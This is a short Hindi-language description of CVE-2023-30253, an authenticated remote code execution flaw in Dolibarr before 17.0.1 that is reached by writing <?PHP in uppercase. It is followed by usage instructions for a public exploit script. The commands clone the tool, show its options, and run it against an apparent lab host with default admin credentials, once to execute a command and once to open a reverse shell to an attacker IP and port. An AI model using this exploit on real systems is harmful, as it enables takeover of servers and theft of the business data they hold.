
Dolibarr 17.0.1 से पहले के संस्करण में एक प्रमाणित उपयोगकर्ता अपरकेस हेरफेर के माध्यम से रिमोट कोड निष्पादन कर सकता है: इंजेक्ट किए गए डेटा में <?php के बजाय <?PHP का उपयोग।
Dolibarr 17.0.1 से पहले के संस्करण में, एक प्रमाणित उपयोगकर्ता अपरकेस हेरफेर के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देता है: इंजेक्ट किए गए डेटा में <?PHP को <?php के बजाय उपयोग करना।
git clone https://github.com/Rubikcuv5/cve-2023-30253.git
pip3 install -r requirements.txt
python3 CVE-2023-30253.py -h
usage: CVE-2023-30253.py [-h] [--url URL] [-u USER] [-p PASSWORD] (-c COMMAND | -r ip port)
Argument parser
options:
-h, --help show this help message and exit
--url URL URL of the website
-u USER, --user USER Username
-p PASSWORD, --password PASSWORD
Password
-c COMMAND, --command COMMAND
Command to execute
-r ip port, --reverseshell ip port
Reverse shell IP and port
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "ls -l"
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.17 4444